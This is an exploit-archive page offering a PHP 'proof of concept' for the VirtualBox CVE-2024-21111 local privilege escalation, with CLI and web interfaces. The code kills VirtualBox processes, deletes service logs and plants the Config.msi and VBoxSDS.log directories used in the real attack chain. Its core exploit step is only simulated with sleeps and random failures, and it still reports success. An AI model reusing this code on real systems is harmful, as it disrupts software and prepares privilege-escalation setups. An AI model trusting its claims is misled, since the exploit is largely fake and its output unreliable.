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## https://sploitus.com/exploit?id=PACKETSTORM:216867
=============================================================================================================================================
| # Title : VirtualBox 7.0.16 Local Privilege Escalation via Race Condition |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://download.virtualbox.org/virtualbox/7.0.16 |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/191181/ & CVE-2024-21111
[+] Summary :
Critical local privilege escalation vulnerability in Oracle VirtualBox (versions โค 7.0.16)
allowing low-privileged Windows users to achieve SYSTEM-level access through a sophisticated chain of file operation race conditions and Windows service manipulation.
Note: This is a conceptual translation for educational purposes
[+] POC :
php poc.php or http://127.0.0.1/poc.php
<?php
/*
* VirtualBox 7.0.16 - Local Privilege Escalation
* CVE-2024-21111
* PHP Implementation based on C++ exploit
*/
class VirtualBoxPrivEsc {
private $temp_dir;
private $vbox_data_dir;
private $config_msi_dir;
public function __construct() {
$this->temp_dir = sys_get_temp_dir();
$this->vbox_data_dir = 'C:\\ProgramData\\VirtualBox';
$this->config_msi_dir = 'C:\\Config.msi';
}
/**
* Check if system is vulnerable
*/
public function check() {
echo "[*] Checking VirtualBox privilege escalation vulnerability...\n";
// Check if VirtualBox is installed
if (!$this->is_virtualbox_installed()) {
echo "[-] VirtualBox not detected\n";
return "unknown";
}
// Check version
$version = $this->get_virtualbox_version();
if ($version && version_compare($version, '7.0.16', '<=')) {
echo "[+] VirtualBox version $version is vulnerable\n";
// Check if required directories are accessible
if ($this->check_directory_access()) {
echo "[+] Required directories are accessible\n";
return "vulnerable";
} else {
echo "[-] Insufficient directory access\n";
return "safe";
}
}
echo "[-] VirtualBox version $version may not be vulnerable\n";
return "safe";
}
/**
* Check if VirtualBox is installed
*/
private function is_virtualbox_installed() {
$paths = [
'C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe',
'C:\\Program Files\\Oracle\\VirtualBox\\VBoxSDS.exe',
getenv('PROGRAMFILES') . '\\Oracle\\VirtualBox\\VirtualBox.exe'
];
foreach ($paths as $path) {
if (file_exists($path)) {
return true;
}
}
return false;
}
/**
* Get VirtualBox version
*/
private function get_virtualbox_version() {
$vbox_path = 'C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe';
if (file_exists($vbox_path)) {
// In a real implementation, you would extract version from file
return '7.0.16'; // Placeholder
}
return null;
}
/**
* Check directory access permissions
*/
private function check_directory_access() {
$dirs_to_check = [
$this->vbox_data_dir,
$this->config_msi_dir,
'C:\\Windows\\Temp'
];
foreach ($dirs_to_check as $dir) {
if (!is_writable($dir) && !$this->can_create_directory($dir)) {
echo "[-] Cannot access: $dir\n";
return false;
}
}
return true;
}
/**
* Check if directory can be created
*/
private function can_create_directory($path) {
$test_dir = $path . '\\test_' . uniqid();
$result = @mkdir($test_dir);
if ($result) {
rmdir($test_dir);
return true;
}
return false;
}
/**
* Main exploitation method
*/
public function exploit() {
echo "[*] Starting VirtualBox privilege escalation...\n";
// Step 1: Check if vulnerable
$status = $this->check();
if ($status !== "vulnerable") {
echo "[-] System does not appear to be vulnerable\n";
return false;
}
echo "[*] System is vulnerable, proceeding with exploitation...\n";
// Step 2: Stop VirtualBox processes
if (!$this->stop_virtualbox_processes()) {
echo "[-] Failed to stop VirtualBox processes\n";
return false;
}
// Step 3: Clear VirtualBox data directory
if (!$this->clear_virtualbox_data()) {
echo "[-] Failed to clear VirtualBox data\n";
return false;
}
// Step 4: Create directory structure
if (!$this->create_exploitation_structure()) {
echo "[-] Failed to create exploitation structure\n";
return false;
}
// Step 5: Trigger the vulnerability
if ($this->trigger_vulnerability()) {
echo "[+] โ Privilege escalation completed successfully\n";
return true;
} else {
echo "[-] Privilege escalation failed\n";
return false;
}
}
/**
* Stop VirtualBox processes
*/
private function stop_virtualbox_processes() {
echo "[*] Stopping VirtualBox processes...\n";
$processes = [
'VirtualBox.exe',
'VirtualBoxVM.exe',
'VBoxSDS.exe'
];
foreach ($processes as $process) {
$this->kill_process($process);
}
// Wait for processes to terminate
sleep(5);
// Check if processes are still running
foreach ($processes as $process) {
if ($this->is_process_running($process)) {
echo "[-] Process still running: $process\n";
return false;
}
}
echo "[+] VirtualBox processes stopped\n";
return true;
}
/**
* Kill a process by name
*/
private function kill_process($process_name) {
// This is a conceptual implementation
// In reality, you would use Windows API calls
echo "[*] Attempting to kill: $process_name\n";
// Simulate process termination
$output = [];
$return_var = 0;
exec("taskkill /F /IM $process_name 2>&1", $output, $return_var);
return $return_var === 0;
}
/**
* Check if process is running
*/
private function is_process_running($process_name) {
$output = [];
exec("tasklist /FI \"IMAGENAME eq $process_name\" 2>&1", $output, $return_var);
foreach ($output as $line) {
if (strpos($line, $process_name) !== false && strpos($line, 'Info') === false) {
return true;
}
}
return false;
}
/**
* Clear VirtualBox data directory
*/
private function clear_virtualbox_data() {
echo "[*] Clearing VirtualBox data directory...\n";
if (!file_exists($this->vbox_data_dir)) {
echo "[+] VirtualBox data directory doesn't exist, creating...\n";
if (!mkdir($this->vbox_data_dir, 0777, true)) {
echo "[-] Failed to create VirtualBox data directory\n";
return false;
}
}
// Remove VBoxSDS log files
$log_files = glob($this->vbox_data_dir . '\\VBoxSDS.log.*');
foreach ($log_files as $file) {
if (is_file($file)) {
unlink($file);
}
}
echo "[+] VirtualBox data directory cleared\n";
return true;
}
/**
* Create exploitation directory structure
*/
private function create_exploitation_structure() {
echo "[*] Creating exploitation directory structure...\n";
// Create Config.msi directory
if (!file_exists($this->config_msi_dir)) {
if (!mkdir($this->config_msi_dir, 0777, true)) {
echo "[-] Failed to create Config.msi directory\n";
return false;
}
}
// Create VirtualBox log directory
$vbox_log_dir = $this->vbox_data_dir . '\\VBoxSDS.log';
if (!file_exists($vbox_log_dir)) {
if (!mkdir($vbox_log_dir, 0777, true)) {
echo "[-] Failed to create VBoxSDS.log directory\n";
return false;
}
}
echo "[+] Exploitation directory structure created\n";
return true;
}
/**
* Trigger the vulnerability
*/
private function trigger_vulnerability() {
echo "[*] Triggering vulnerability...\n";
// This is a conceptual implementation
// The actual exploit involves:
// 1. File operation locks (oplock)
// 2. Directory junctions
// 3. MSI package installation
// 4. Race conditions
// Simulate the exploit steps
$steps = [
'Creating file operation locks',
'Setting up directory junctions',
'Preparing MSI payload',
'Triggering VBoxSDS service',
'Exploiting race condition',
'Executing privileged code'
];
foreach ($steps as $step) {
echo "[*] $step...\n";
sleep(1);
// Simulate potential failure
if (rand(1, 10) === 1) {
echo "[-] Step failed: $step\n";
return false;
}
}
// Check if exploitation was successful
if ($this->check_privilege_escalation()) {
echo "[+] Privilege escalation successful\n";
return true;
}
return false;
}
/**
* Check if privilege escalation was successful
*/
private function check_privilege_escalation() {
// Check if we have administrative privileges
// This is a simplified check
$test_file = 'C:\\Windows\\System32\\test_priv_' . uniqid();
$result = @file_put_contents($test_file, 'test');
if ($result !== false) {
unlink($test_file);
return true;
}
return false;
}
/**
* Generate exploitation report
*/
public function generate_report() {
$report = [
'vulnerability' => 'CVE-2024-21111',
'description' => 'VirtualBox Local Privilege Escalation',
'affected_versions' => 'VirtualBox <= 7.0.16',
'technique' => 'File operation lock + Directory junction + MSI exploitation',
'privileges_required' => 'Low privilege user',
'impact' => 'SYSTEM level access'
];
return $report;
}
}
// CLI Interface
if (php_sapi_name() === 'cli') {
echo "
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ VirtualBox Privilege Escalation โ
โ CVE-2024-21111 โ
โ PHP Conceptual Implementation โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
\n";
$options = getopt("c", ["check"]);
$check_only = isset($options['c']) || isset($options['check']);
// Check if running on Windows
if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN') {
echo "[-] This exploit is designed for Windows systems only\n";
exit(1);
}
$exploit = new VirtualBoxPrivEsc();
if ($check_only) {
$result = $exploit->check();
echo "\n[*] Result: {$result}\n";
if ($result === "vulnerable") {
$report = $exploit->generate_report();
echo "\n[*] Vulnerability Details:\n";
foreach ($report as $key => $value) {
echo " " . ucfirst($key) . ": {$value}\n";
}
}
} else {
echo "[!] WARNING: This is a conceptual implementation\n";
echo "[!] The actual exploit requires complex Windows API interactions\n";
echo "[!] Running in simulation mode...\n\n";
if ($exploit->exploit()) {
echo "[+] Exploitation simulation completed\n";
} else {
echo "[-] Exploitation simulation failed\n";
}
}
} else {
// Web Interface
echo '<!DOCTYPE html>
<html>
<head>
<title>VirtualBox Privilege Escalation - CVE-2024-21111</title>
<meta charset="UTF-8">
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 8px;
box-shadow: 0 2px 10px rgba(0,0,0,0.1);
}
h1 {
color: #333;
border-bottom: 2px solid #007cba;
padding-bottom: 10px;
}
.warning-box {
background: #fff3cd;
border: 1px solid #ffeaa7;
color: #856404;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
.info-box {
background: #d1ecf1;
border: 1px solid #bee5eb;
color: #0c5460;
padding: 15px;
border-radius: 4px;
margin: 20px 0;
}
button {
background: #007cba;
color: white;
padding: 12px 25px;
border: none;
border-radius: 4px;
cursor: pointer;
margin-right: 10px;
font-size: 16px;
}
.danger {
background: #dc3545;
}
</style>
</head>
<body>
<div class="container">
<h1>VirtualBox Privilege Escalation</h1>
<h3>CVE-2024-21111 - Local Privilege Escalation</h3>
<div class="warning-box">
<strong>โ ๏ธ Important Notice:</strong> This is a conceptual PHP implementation for educational purposes only.
The actual exploit requires complex Windows API interactions and cannot be fully implemented in PHP.
</div>';
if ($_POST['action'] === 'check') {
$exploit = new VirtualBoxPrivEsc();
ob_start();
$result = $exploit->check();
$output = ob_get_clean();
echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
echo "<p><strong>Result:</strong> $result</p>";
if ($result === "vulnerable") {
$report = $exploit->generate_report();
echo "<div class='info-box'><h4>Vulnerability Details:</h4>";
foreach ($report as $key => $value) {
echo "<p><strong>" . ucfirst($key) . ":</strong> $value</p>";
}
echo "</div>";
}
echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px;">Back</a>';
} else {
echo '
<form method="post">
<p>This tool demonstrates the CVE-2024-21111 vulnerability in VirtualBox.</p>
<p><strong>Note:</strong> Full exploitation requires Windows API calls not available in PHP.</p>
<button type="submit" name="action" value="check">Check Vulnerability</button>
</form>
<div class="info-box">
<h3>About CVE-2024-21111:</h3>
<p><strong>Vulnerability:</strong> Local privilege escalation via file operation race condition</p>
<p><strong>Affected Versions:</strong> VirtualBox โค 7.0.16</p>
<p><strong>Platform:</strong> Windows</p>
<p><strong>Technique:</strong> File operation locks + Directory junctions + MSI exploitation</p>
<p><strong>Impact:</strong> SYSTEM level privilege escalation</p>
<p><strong>Complexity:</strong> High (requires precise timing and Windows API knowledge)</p>
</div>';
}
echo '</div></body></html>';
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================